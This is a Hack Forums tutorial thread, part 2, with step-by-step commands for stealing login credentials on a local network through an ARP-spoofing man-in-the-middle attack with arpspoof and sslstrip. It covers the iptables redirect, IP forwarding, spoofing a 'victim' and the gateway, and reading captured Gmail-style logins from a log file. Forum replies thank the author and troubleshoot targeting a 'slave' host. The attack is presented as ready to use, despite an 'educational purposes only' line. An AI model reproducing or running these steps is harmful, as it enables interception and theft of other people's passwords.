[TUT]Sniffing passwords on HTTPS sites with ssl strip[TUT] part 2

[TUT]Sniffing passwords on HTTPS sites with ssl strip[TUT] part 2 - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT]Sniffing passwords on HTTPS sites with ssl strip[TUT] part 2 (/showthread.php?tid=2042324)

Pages: Pages 1 2 3 4 5

[TUT]Sniffing passwords on HTTPS sites with ssl strip[TUT] part 2 - Bhalgorn - Dec 23, 2011

Part 2

Part 1 here

Note: this attack will only work in your LAN not over the internet.

Under adapter 1 you are going to change the setting 'Attached to:' from NAT to Bridged Adapter and select the network interface that connects to the rest of your LAN.

Spoiler (Click to View)

Hit ok and restart the virtual machine.
once you have logged in open terminal.
Applications-> Accessories-> Terminal

Spoiler (Click to View)

Once open type this into the command line.

Code 
sudo apt-get install dsniff

it will then ask for you password then if you want to continue.
this will now download and install arpspoof.

Spoiler (Click to View)

Now we need to download ssl strip.
in a terminal window type out this command.

Code 
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Spoiler (Click to View)

we will come back to ssl strip later

We now need to extract the archive.
in a terminal window type this

Code 
tar zxvf sslstrip-0.9.tar.gz

Spoiler (Click to View)

We now need to wright a iptable rule to route all http requests coming in on port 80 to ssl strip which will be running on port 8080.
in a terminal window type this.

Code 
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Spoiler (Click to View)

We now need to enable packet forwarding.
In a terminal window type this.

Code 
sudo -i

this allows you to edit system files.
now type

Code 
echo "1" > /proc/sys/net/ipv4/ip_forward

Spoiler (Click to View)

Now we are all set to start the attack :)

I would like to note that this for of attack will ONLY work on a local network and not over the internet.

first we need to find the networks gateway, use this command.

Code 
route -n

The gateway ip will be in the bottom row under the gateway column.

Spoiler (Click to View)

You will now need the victims ip, i am not going to go over how to acquire one in this tutorial(i will be using my laptop as a victim).

We can now start the MitM attack with this command.

Code 
sudo arpspoof -i eth0 -t <victim's ip> <gateway>

Spoiler (Click to View)

It should start spiting out arp reply messages.
This fools the router to send you all the traffic going to the victim.

Now we need to start ssl strip make sure you do this in a new window.

Code 
sudo python sslstrip-0.9/sslstrip.py -f -l 8080 -w ssllog.log

now i have put in a few arguments into the command: -f -l -w
-f replaces the favicon with a lock (it wont put https though), -l specifies what port sslstrip is to listen on and -w tells it write everything to a specified file.

Spoiler (Click to View)

Now we want to see what sslstrip is writing into ssllog.log
open a new window and type this

Code 
sudo tail -F ssllog.log

Spoiler (Click to View)

The window should be blank since there is nothing currently in the file.

Im going to go over to my laptop and log into gmail and see if has worked.

If it has worked HTTPS in the URL bar should be replaced by HTTP. 95% of the time people will over look this.
I will also note that any https sessions than have existed before ssl strip was started will say encrypted.

Spoiler (Click to View)

Enter some random email and password and try sign in.

Spoiler (Click to View)

Now go back to your Linux machine and it should show up.

Spoiler (Click to View)

If all went well you should now have sniffed the email and password from gmail.
this will happen to any site with ssl. sslstrip may encounter an error on some sites but 99% of the time it will continue as normal.

Thank you for reading. if you need any help or have any problems feel free to post here, pm me or contact me on skype (skypename: iamtheobelisk)
Once again thank you and have a nice day HF.

This tutorial is for educational purposes only.

Do NOT copy this tutorial onto any other forum/blog/website.

[img]http://s18.postimage.org/mcbkymb49/the_obelisk_sig.png[/img]

* - amex - Dec 24, 2011

Sslstrip! I've been searching to setup it, but not detailed like this
Nice tutorial! :D

* - Unikk4TiL - Dec 24, 2011

Great Tutorial!!::)
Thnaks For Share ;)

* - Bhalgorn - Dec 24, 2011

(Dec 24, 2011 05:58 PM)Unikk4TiL Wrote: Great Tutorial!!::)
Thnaks For Share ;)

no problem :)
if you have any problems feel free to contact me.

* - ▣ NEO ▣ - Dec 28, 2011

Good tutorial.
Thanks for the share.

* - adelanote - Dec 28, 2011

Very nice tutorial. I will try this, thanks.

* - PageviewLaboratory - Dec 28, 2011

All these images in part 1 remind me of what I have to do in class. Document how to set up a Virtual Machine, so boring.

The tutorial is great! I'm kinda skeptic about Cain&Abel, it's nice to know how sslstrip works.

* - snipzor78901 - Dec 28, 2011

root@bt:~# arpspoof -i wlan0 -t SLAVE IP MY GATEWAY
arpspoof: couldn't arp for host SLAVE IP

Possible i could get some help on that not sure what happened there but I cannot seem to figure it out.

Maybe I don't the right slave IP possible I could get a link to a tut on that seached fourms and google didn't find anything.

* - Airon - Dec 31, 2011

thanks for this good tutorial gonna try it out later.

* - Bhalgorn - Jan 3, 2012

(Dec 28, 2011 03:57 PM)snipzor78901 Wrote: root@bt:~# arpspoof -i wlan0 -t SLAVE IP MY GATEWAY
arpspoof: couldn't arp for host SLAVE IP

Possible i could get some help on that not sure what happened there but I cannot seem to figure it out.
Maybe I don't the right slave IP possible I could get a link to a tut on that seached fourms and google didn't find anything.

strange
it looks like you got the command correct.
also make sure you are getting the adapter right as well as slaves ip.
have you tried it on a network and and slave you know?

* - blackbird - Jan 7, 2012

hi,

Quote:root@bt:~# arpspoof -i wlan0 -t SLAVE IP MY GATEWAY
arpspoof: couldn't arp for host SLAVE IP

Possible i could get some help on that not sure what happened there but I cannot seem to figure it out. Maybe I don't the right slave IP possible I could get a link to a tut on that seached fourms and google didn't find anything.

i think, because the MitM attack works on local only.

* - Bhalgorn - Jan 7, 2012

(Jan 7, 2012 03:39 AM)blackbird Wrote: hi,

i think, because the MitM attack works on local only.

you are correct it will only work with computers in the same subnet/LAN as you.

* - snipzor78901 - Jan 7, 2012

thats why was trying to ssl strip LoL

* - Bhalgorn - Jan 8, 2012

Id just like to note that this tut only shows how to perform the attack on only one victim.
I may make another small tut on how to do it on a whole network, but is more complicated and is annoying to get working.

* - duongld - Jan 12, 2012

oh thanks man , i'll try :) keep iit up :)